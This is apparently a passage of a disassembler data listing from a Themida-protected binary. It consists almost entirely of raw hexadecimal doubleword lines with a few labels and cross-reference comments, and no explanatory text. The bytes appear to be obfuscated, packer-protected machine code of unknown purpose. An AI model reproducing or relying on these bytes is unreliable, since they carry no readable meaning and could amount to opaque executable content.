0C75543BAh dd 8B844EBh, 905B788Bh, 20D222B0h, 0C8C022D9h, 93A379FAh dd 0CC147E53h, 0CC3C665Bh, 0C80C22C7h, 0E5C57199h, 0B2E01A50h dd 0E712D4Eh, 1D55ABCCh, 0C76625F0h, 0C8303452h, 0C1F142DAh dd 110C22DAh, 0C4E298C8h, 0C3199770h, 0E3F0AF51h, 0AEA124DDh dd 37391F60h, 0CF3DBB6Fh, 9D1848DCh, 0C80C2132h, 0B5B02DAh dd 0EC6FAB87h, 0ECC5A3DEh, 0C8C03EDEh, 0B3567DAh, 740A2252h dd 43EDEF06h, 0F581A918h, 450025C8h, 0C2731A5Fh, 9E8148DCh dd 0C8C02132h, 0B3E02DAh, 0EC44AB84h, 0EC5CA3DEh, 0C80C34DEh dd 0B5064DAh, 48050876h, 750A423Ch, 0CEC72D77h, 0C80AF225h dd 0C833CA8Fh, 953822DAh, 0A4857F19h, 8C8726FEh, 0C81526FEh dd 9DC422DAh, 4241EC19h, 0D00DA7F3h, 4DB924DDh, 0CE1F0953h dd 205C22B0h, 0C80622D9h, 90C07AFAh, 0CCA56653h, 0CCE4665Bh dd 0C86022C0h, 38F3729Ah dd 3D49E683h, 7D853DDDh, 0CE01214Bh, 0C1CEA71Ch, 0A2C224DDh dd 0CB2870DAh, 0E86022DAh, 416AE180h, 491C068Eh, 0D508069Eh dd 8A0622DAh, 7487E188h, 7E77D73Ch, 995E66D0h, 0CC88F250h dd 0E03022DAh, 98A4B2AAh, 0B7D98BCh, 0CC226651h, 9A532251h dd 0F98E708Ah, 25BE3260h, 0C73878AEh, 0C835CBEBh, 89CF22DAh dd 9228CB92h, 0EC42AB82h, 9FB944DEh, 0C8EB7AFBh, 0C8C3CA89h dd 934022DAh, 94B97919h, 8C9926FEh, 0C81726FEh, 9B4522DAh dd 9A367619h, 6AD844FCh, 697D1119h, 436625F2h, 0CF38C74Fh dd 51ADDDDCh, 0AE0A25D7h, 4D8BF151h, 0CE0952E2h, 20D722B0h dd 0C8C022D9h, 96A37CFAh, 0CC145653h, 0CC3C665Bh, 0C80C22C0h dd 53C5749Ch, 80845896h, 187EBA25h, 0CB0DBFEBh, 4DE924DDh dd 0CE372537h, 204B22B0h, 0C80C22D9h, 93C579FAh, 0CC277E53h dd 0CCA5665Bh, 0C8C022C2h, 0E5A37199h, 0DDC9173Fh, 0C8182F33h dd 99AA6BDAh, 88C2E03Dh, 0A252B154h, 4D0CA87Ah, 0CECA8F35h dd 203022B0h, 0C83022D9h, 90DB7AFAh, 0CC286653h, 0CC22665Bh dd 0C80322CFh, 0DE42729Ah, 7D25A23Bh, 32DF448Ah, 0EC34ABA2h dd 0DAC99FF3h, 496A24DDh, 37E7A315h, 0CF0C374Fh, 9E8148DCh dd 0C8C02132h, 0B3E02DAh, 0EC44AB84h, 0EC5CA3DEh, 0C80C36DEh dd 0B5064DAh, 0A2DBA9A6h, 0CB6975DAh, 0E8C022DAh, 413FE185h dd 493406A6h, 0D01C069Eh, 8F0C22DAh, 5BE0E18Dh, 43A6ED93h dd 0CFAF1767h, 2B45AFDCh, 0A2662877h, 0CBD877DAh, 0E81822DAh dd 4151E187h, 490206B6h, 0D507069Eh, 8D8122DAh, 54FDE18Fh dd 8018CA0Fh, 88222D9Ch, 0C37DAF51h, 28D24DDh, 0B63240E8h dd 0D1BD448Ah, 0EC85AB3Ch, 0F17E4449h, 2DDF72A2h, 5B5DD73Dh dd 37E795D5h, 0CF019F4Fh, 436674DCh, 0CF28574Fh, 90423DCh dd 0A9C625D7h, 25E5AB80h, 313625F3h, 0E8CDA71Dh, 0C80324DDh dd 0C86C22DAh, 0C800CA8Ah, 90A122DAh, 8C497A19h, 8CE126FEh dd 0C82726FEh, 985822DAh, 0C87EF019h, 0A9BBAB5Eh, 370525F1h dd 0CFA8CF4Fh, 4137A9DCh, 0CF41B35Fh, 7D8D2BDCh, 431E25F6h dd 0CF0B9B5Fh, 469BAFDCh, 4105281Ah, 750C2399h, 0CEC70CAFh dd 8089757h, 0FB8924D0h, 3B1822DAh, 703FC97Eh, 0C80622DAh dd 0CB77E2D1h, 43813A18h, 9BCC069Eh, 0C8602232h, 0BB179DAh dd 0C81822CDh, 0D8287E53h, 0DC226653h, 68349A81h, 287E2245h dd 0CCE46651h, 5DE9C225h, 0CE372C27h, 0FB31B7EBh, 0A26D24DDh dd 0CBEE75DAh, 0E80322DAh, 41DEE185h, 49C406A6h, 0D164069Eh dd 8F3022DAh, 2693E18Dh, 97E27955h, 758BED50h, 0CE098F39h dd 866AF57h, 0FD7824D0h, 0FBF80471h, 0CF34275Fh, 9D709DCh dd 32A82033h, 0DAC80336h, 0C8CE8B8Ah, 1A3879D3h, 6BE6DBEEh dd 7D336CB6h, 0E9833415h, 8BA4F305h, 55006AD9h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0AE952h, 0B1DA0000h dd 313174E8h, 370CBF44h, 8BE9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 9CE0B491h dd 0E99F4C2Eh, 6, 5D859856h, 0FC60AF59h, 48A0Fh, 0BB660000h dd 61616A16h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 11C35040h, 2EB2BFFh, 820F60EBh, 2, 0B70F5856h dd 6AC361DBh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0DC5BC351h, 358FE8A2h, 83F9C08Bh dd 71ACDBDh, 9750006h, 1135BD83h, 74000607h, 8B535019h dd 4B9B8C0h, 85890000h, 6072F81h, 0AE279D8Dh, 0D3FF0609h dd 0BD83585Bh, 6071135h, 50177400h, 4B9B853h, 85890000h dd 6072F81h, 0AAC89D8Dh, 0D3FF0609h, 0CE9585Bh, 84000000h dd 0B1AB373Ch, 0D3B6E1EFh, 6A513E71h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BCDC357h dd 1860FC0h, 0F5000000h, 0E9C18B40h, 14h, 0ED0E1066h, 5ED3150Bh dd 0C7544B8Fh, 10CD591Bh, 1BABB1AFh, 4EBh, 0B70F0000h dd 0B58B60FBh, 6072661h, 0B1858D61h, 0F060718h, 282h, 66F88B00h dd 0F0BECE81h, 118C0F90h, 0E8000000h, 7, 7608595Ch, 661ED1BDh dd 5EA940BEh, 0AE950h, 50090000h, 6FA035F2h, 9C3BC1E9h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 78F3B4BAh, 6A006A2Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0DAD5C351h dd 13DEF1F1h, 0E9B58993h, 6A060712h, 0AFC78100h, 8D4ACE1Fh dd 0AC41285h, 0F08B6606h, 6A05C083h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F8BC353h dd 8E0F81h, 0F8000000h, 7E950h, 15E20000h, 7C867EA4h, 24048900h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B7C35343h dd 383F2EE1h, 6810F7Eh, 8B000000h, 72645B5h, 1006A06h dd 70BAD85h, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 57AFC357h, 0E7816698h dd 0B52B6649h, 6071079h, 1E3D95FFh, 6A0607h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0BFA89AC3h dd 0FBEDA80h, 68Bh, 0ADBD8B00h, 8D060701h, 0A93D59Dh, 0FEBF0F06h dd 6AD3FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 361D6BC3h, 0F61C8D0h, 0FBD33BFh, 5985FF4Fh dd 0B06072Fh, 70DD1BDh, 7CAE906h db 2 dup(0) word_578BD6 dw 0E8h ; DATA XREF: Themida_:0053D36Co dd 5D000000h, 0C41CED81h, 6A060Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 5A55F1C3h, 8166AB42h dd 8101EED6h, 720D5BDh, 7D006h, 0BC860F00h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 9ED3C355h, 153BA8A6h, 286274C3h, 6E9h, 6E0BE00h dd 8B4FC7C8h, 720619Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 47D07B1Dh, 0F305159h dd 0B58BF1B7h, 6072315h, 100E381h, 8F0F0000h, 11h, 0CE9h dd 0D6305200h, 0B1E86448h, 4DD3F28Eh, 0FDB0B41h, 0B285h dd 63BD8300h, 60AC2h, 51840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8C8CFCC3h dd 0F8AC2EBCh, 0AFE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 67BFBE0h, 6E9h, 490F6300h dd 0C774E763h, 0AC26385h, 106h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0FFF159Fh dd 56E9B5h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 10B152C3h, 733075A3h, 0C7FC32E6h dd 0AC26385h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 8A11BA21h, 0A1530D14h dd 0F0BF0F09h, 20619D8Dh, 13E80607h db 3 dup(0) byte_578D8B db 6Ch ; DATA XREF: Themida_:0053F8D8o dd 0C17B0C43h, 0DC152A55h, 15A370D4h, 7276F71Bh, 8166653Ch dd 5FAB38F6h, 0FEFF2381h, 6AFFFFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 8A615DC3h, 0F31248C4h dd 7D8D899Eh, 66060701h, 6ADB8Ch, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0FC05A8C3h, 3AD4DEF8h dd 19BD8960h, 8B060731h, 7067195h, 95896106h, 6073235h dd 0F04C3F6h, 3884h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0DBBD9022h, 0CCD36315h dd 1E8DBD89h, 95FF0607h, 60729EDh, 1064BF50h, 48971F2h dd 3C6E924h, 89530000h, 712C1BDh, 0B58B5E06h, 6072D0Dh dd 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 81669AC3h, 0E811E7E6h, 0Dh, 0D00D6B7Ah, 0CBFB1039h dd 2FD59D81h, 68D0F3Fh, 89000000h, 71EF995h, 70E65F06h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D0C35242h dd 0AEF161D2h, 8AC03EFEh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0F78F7C3h, 6AD8B6h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 39EA6C3h, 6BAh, 0E5858900h, 8B060704h, 53006AC3h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 977F4471h, 6A04E8C1h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8973C356h, 7048D9Dh dd 0E2F76606h, 1A31B58Bh, 0D82B0607h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 75C35747h, 57EC68F2h, 0C68166CFh dd 6650108Ch, 1C89F98Bh, 35BD8B24h, 0FF060726h, 720D5B5h dd 49BD8B06h, 0F060722h, 0C8Dh, 6820F00h, 33000000h, 729A5B5h dd 6995FF06h, 6606070Dh, 0B097FCBEh, 0D516BE00h, 70E63ACEh dd 8171E4F8h, 0E12C7FE6h, 0F613C4Bh, 23F83h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 978B68E7h, 20B440Dh, 6AD8B60Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0E87BC357h dd 8B66B7AEh, 6BAF3h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0B2234DC3h, 32717F0Eh dd 9E8D6h, 98AC0000h, 0E40B160Bh, 895D777Fh, 7299D8Dh dd 95295E06h, 60700A9h, 0B70FC38Bh, 0E78166FFh, 0E8C16974h dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 6716CFE4h, 8957DDC0h, 732BDB5h, 0F7665F06h dd 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0BA518347h, 2B5F5121h, 52006AD8h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 4235C4FDh, 29478EACh, 710ED8Dh, 6A5806h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 199D1DC3h dd 76AE3916h, 8EBE32CBh, 2B1AED11h, 0FD880FD8h, 0E9000000h dd 0Dh, 0E88350E0h, 87A1A9E6h, 7AB257F9h, 7B9ADh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 22732CC3h, 83F88B66h, 852900C1h, 6070CA1h, 860FD93Bh dd 0B4h, 29D98C66h, 71AF5BDh, 4C1F606h, 77840Fh, 0FFF50000h dd 729ED95h, 97BE6606h, 6A5B34h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 3EC5E0C3h, 0CE40045Dh dd 8BF78B6Bh, 7188DBDh, 31C32B06h, 70299BDh, 8343D06h dd 860F0000h, 2Dh, 0DC5B52Bh, 85090607h, 60729C9h, 47E9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 6AC08BBBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 9E2DC351h, 0D5BFD5D8h dd 66749351h, 69A7D681h, 0D88BC38Bh, 972BBF66h, 21A985C7h dd 87DF0607h, 6A7E23h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0BD8B16C3h, 607291Dh, 8B66C08Bh dd 0D5BD81F1h, 0D0060720h, 0F000007h, 5485h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0BD2BFE19h, 60718D9h, 20D585FFh, 6A0607h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 3792C7C3h dd 3870C3B1h, 8BB10229h, 71101BDh, 0D5B5FF06h, 6A060720h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 2275C351h, 8D896060h, 6071095h, 29FD8D89h dd 1610607h, 700E195h, 0BD8B6106h, 6071045h, 0D6995FFh dd 0BD230607h, 6072D71h, 13B1BD8Bh, 0B8900607h, 12345678h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FEC35141h dd 0C2EB6B18h, 0B1B96020h, 0FE8h, 0B746C000h, 2B902052h dd 954E63BAh, 1949E529h, 5EF6B70Fh, 1A51BD8Bh, 0BD8B0607h dd 6071019h, 0CB489D8Dh, 77E9060Ah, 6AFFFFF8h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0D33AC353h, 2B60E075h, 7023185h, 13E906h, 7FAF0000h dd 0C69E7368h, 0D31BF1A4h, 0A9208144h, 0D4E958EBh, 61F98BAFh dd 880FC18Bh, 6, 1089B58Bh, 4EB0607h, 0 dd 701BD8Bh, 0F6810607h, 7C1D0F6Bh, 18B1858Dh, 0B50B0607h dd 6070779h, 6E850h, 17C00000h, 6EC387DBh, 5EF18B66h, 6A240489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 630EC357h, 7FB21A42h, 11B58B35h, 0F06070Dh dd 687h, 21B58B00h, 6A060703h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0FEB70FE2h dd 890F006Ah, 5, 70DEFCBFh, 77858D1Fh, 66060ACDh, 0C92FEE81h dd 6A05C083h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0DD21C355h, 2622632Eh, 0D631D376h dd 7E860h, 611C0000h, 9D6A31Bh, 39B53333h, 5E060710h, 4895061h dd 31B58B24h, 6A060700h, 6AF900h, 25B59D89h, 95FF0607h dd 6071E3Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 62C35747h, 0AEBA7C40h, 2D719D89h, 9D8D0607h, 60A93D5h dd 39B589h, 0B52B0607h, 6071FF9h, 6AD3FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 8BA6D3C3h dd 70987BA5h, 5985FFA7h, 6A06072Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0F562C357h dd 8509794Ah, 6070005h, 0C744BE66h, 215DB58Bh, 6AE90607h dd 0E800000Dh, 0 dd 81ED815Dh, 66060ACDh, 49BEEE81h, 0B7DB58Bh, 0BD810607h dd 60720D5h, 7D0h, 103860Fh, 0BD2B0000h, 6071F81h, 9D99D8Bh dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 7405F0C3h, 0A2655B5Ch, 25B1B58Bh, 0E3810607h dd 100h, 2A79BD8Bh, 0DB0B0607h, 92850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0C4AA35C3h, 0BD8311E8h, 60ACBF1h, 4A840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8BD0C350h, 722BDB5h, 12E906h, 7AEC0000h dd 9D2EAF27h, 0B87D3ACh, 0EA722CE7h, 8B4FAD12h, 36E9h dd 2D958900h, 8B060730h, 70875BDh, 0F185C706h, 1060ACBh dd 89000000h, 722098Dh, 15E906h, 9D090000h, 6072625h, 0CBF185C7h dd 60Ah, 51BF0000h, 8D7A81E5h, 709D99Dh, 2FD78106h, 810D1DCFh dd 0FFFEFF23h, 858956FFh, 6072181h, 0DB8C665Eh, 4F7BE66h dd 2A98589h, 0C3F60607h, 56840F04h, 52000000h, 5FFEBF0Fh dd 29ED95FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0AE7CB4C3h, 21063BA3h, 0B58960F4h dd 6072D1Dh, 61858B53h, 58060706h, 0C7816661h, 50900F8Ch dd 0E735BF66h, 68C0F90h, 89000000h, 718658Dh, 32BE906h dd 0BD890000h, 6072BD9h, 0F5700B0h, 681h, 6DB50100h, 5E06072Dh dd 10E8h, 671DA200h, 7695F91h, 0B32DA003h, 22BE632Ah, 0BD8952F3h dd 6071911h, 70E65E5Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 3CC35242h, 6618D640h, 71E4F38Bh, 6AD8B60Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0B8DCC353h, 9D897D27h, 607139Dh, 6BAh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 76E12F17h, 8BC5DC34h, 51006AC3h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 3B2DF8C1h, 922E4A38h dd 359D2958h, 0C106072Ah, 0F76604E8h, 0D82BFCE2h, 890Fh dd 0BF500000h, 393F1ACAh, 56241C89h, 0D5B5FF5Eh, 9060720h dd 72A21BDh, 6995FF06h, 6A06070Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 9A35C356h dd 0B0215CBAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0F486C660h, 7E62E16h dd 880F70E6h, 5, 185A58BFh, 6A71E477h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 551EC350h dd 69AC1311h, 6690E586h, 1076E781h, 830F613Ch, 1A5h, 0FF1BF0Fh dd 0BD8BD8B6h, 6072991h, 6BAh, 2DBD8B00h, 8B060730h, 49B58BC3h dd 0C1060706h, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 3F64EDC3h, 0C177C35Eh, 29677739h dd 7069D9Dh, 93E9BF06h, 0F76611A1h, 57006AE2h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 7BD7EAF9h dd 8B3644E2h, 706F5BDh, 0FB8B5206h, 29D82B5Fh, 72A0185h dd 0BF665806h, 0D82B6860h, 10F880Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0B04D10C3h dd 0CEBA1C6Dh, 0CE9BDh, 19BF0000h, 6591CD40h, 2E28B5B0h dd 7B91AC0h, 83000000h, 0BF0F00C1h, 0FD93BF2h, 0C886h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 787F3FCBh, 8FBB1B19h, 8B66556Eh, 0D98C66FBh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0AFC35646h dd 7384BCC2h, 8D9589FAh, 57060718h, 4AC4C6BFh, 0C1F65F1Bh dd 64840F04h, 0F000000h, 95FFF3B7h, 60729EDh, 6A5BF18Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 75AAC350h, 91BD8B31h, 2B060713h, 53006AC3h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 8343D69h, 860F0000h, 0Bh, 4B0FF681h, 2E96124h, 8B000000h dd 8BC38BC0h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 85C7E260h, 6072061h, 7C7C01F5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9CC35747h, 0BC9634E0h dd 9D67C918h, 5FDFBF66h, 0DC5B589h, 0C08B0607h, 20D5BD81h dd 7D00607h, 850F0000h, 9, 0FFFAB70Fh, 720D585h, 0D5B5FF06h dd 31060720h, 71A419Dh, 6995FF06h, 3106070Dh, 719EDB5h dd 6A409006h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 4F17C356h, 33B34475h, 71299BDh dd 29BD8306h, 60707h, 107840Fh, 12E80000h, 0E8000000h dd 4F9F98A0h, 9EAED16Dh, 0E361D49Bh, 40181D6Dh, 5FDF8192h dd 5E11AE59h, 0A85BD83h, 0F000607h, 0DC84h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 3429E2BEh, 1CB1A629h, 0C21B58Bh, 8D010607h, 6070031h dd 72995FFh, 0B5890607h, 6071FEDh, 840FC00Bh, 99h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CFC35343h, 9B8D8DD3h dd 6A06074Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0D5C5C356h, 975B86E7h, 5B8h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 6AE1FFCAh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 2AEAC355h, 0A26063B4h, 6810F04h dd 81000000h, 4B8FECFh, 7BBE660Ah, 0C1BD83CEh, 60700h dd 6A0840Fh, 13E90000h, 0D8000000h, 5269395h, 79D6BEAh dd 5EF98C37h, 2F0EE2D5h, 0BD8341DEh, 6070A85h, 7B840F00h dd 81000006h, 0C28872C6h, 798D8D73h, 0BF060703h, 8C7D9DBh dd 22E1B58Bh, 1C70607h, 44B27C84h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0A7C35343h, 1811D96h, 1499CFCBh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E0C35040h dd 870FF2E4h, 0 dd 0BE8h, 8A81CE00h, 0D4831CE4h, 0D81DBC9h, 441C75Eh, 0CE706B34h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 64C35040h dd 143679F7h, 1B6608E9h, 68F0F2Eh, 89000000h, 711318Dh dd 4418106h, 31D6D710h, 6AF28Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 8FC35141h, 0F18B666Ch, 379858Dh dd 0BD8B0607h, 6073129h, 1BBE6650h, 2404894Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 5EC35141h, 0F21D0FD7h dd 45BD2340h, 0FF06070Eh, 700C195h, 1B8C0F06h, 0E8000000h dd 12h, 202785BAh, 95F1B61Fh, 0FBE19AC2h, 0E560F4Ah, 0B70F361Bh dd 8D8D5EF0h, 6070379h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 0D2C35545h, 8BA6979Eh, 6DBD2BF0h, 0C706070Eh dd 1, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0DA15E043h, 79BD8BB1h, 0BE06072Ah dd 5566F2CFh, 441C7h, 8B000000h, 7295DBDh, 0FC00B06h, 4284h dd 0D5BD8900h, 8D060732h, 74B9B8Dh, 55B58B06h, 0B806072Eh dd 5, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h dd 14C35141h, 1CF8186h, 0FF5310E2h, 71BD2BE1h, 8D06070Ch dd 703798Dh, 71BD3306h, 0C7060721h, 0AA727C01h, 9BF6644h dd 0CB0181A3h, 6A1499CFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 81A0C356h, 0AC7FD364h dd 850FBA35h, 8, 0F2816660h, 61F5D1D3h, 3C0441C7h, 81CE7875h dd 0D7100441h, 6A31D6h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0FB2023C3h, 6A006ABBh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0E8BC355h, 56996B76h, 379858Dh, 6A0607h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 423D4BC3h dd 0B58B9A64h, 6070AFDh, 6A905090h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 1AE5C356h dd 933DA21Bh, 0AE80Eh, 41DA0000h, 0A0D377F5h, 7E39C65Dh dd 0DDBD2960h, 0F060704h, 8Ah, 0FF5E6100h, 700C195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8DB65E68h, 703798Dh, 68A0F06h, 81000000h, 9CE878DFh dd 6880F08h, 89000000h, 7264595h, 1C706h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0B704C350h, 51A477B0h, 3EB0DF81h, 0C75E4F1Fh, 441h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0C3AB99C3h, 0C00BEEB2h, 7A840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0D9EC8C3h, 175899C5h, 8D445563h, 74B9B8Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 88FE7059h, 5664FE34h, 5B8F5C5h, 31000000h, 728C99Dh dd 6AE1FF06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 6250C352h, 3798D8Dh, 6A0607h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 985A8BC3h, 41560839h, 0C7F78BD9h, 0CA95A501h, 53006A54h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 438E7049h, 0F38B66F6h, 0CFCB0181h, 85891499h, 6072C55h dd 690441C7h, 6ACE5F59h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0C4FC357h, 0FA18127h dd 85h, 4418100h, 31D6D710h, 6870Fh, 0B58B0000h, 6070FDDh dd 0BE66006Ah, 858DFBB8h, 6070379h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0BDC35545h, 60767591h, 12A58D89h dd 0F500607h, 880h, 8A0F5700h, 0 dd 2404895Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0B1C35242h, 0BDF06C85h, 0A9CE81FBh, 0FF1D7BBDh dd 700C195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 362AFC8Fh, 65BA1DC7h, 6E9h, 3A192900h dd 8DE94D6Bh, 703798Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 8D01599Bh, 6070189h, 1C7h dd 0EE80000h, 0C3000000h, 54AC3008h, 6DFC88B6h, 0F81CDB0h dd 9E827h, 0E16C0000h, 91B71BD5h, 0FD77DCFh, 88h, 0C75E5E00h dd 441h, 0CE90000h, 6C000000h, 144535Ah, 0A7F5F116h, 532EC9C1h dd 855BD8Bh, 0B5F0607h, 0A7840FC0h, 6A000000h, 3E85100h 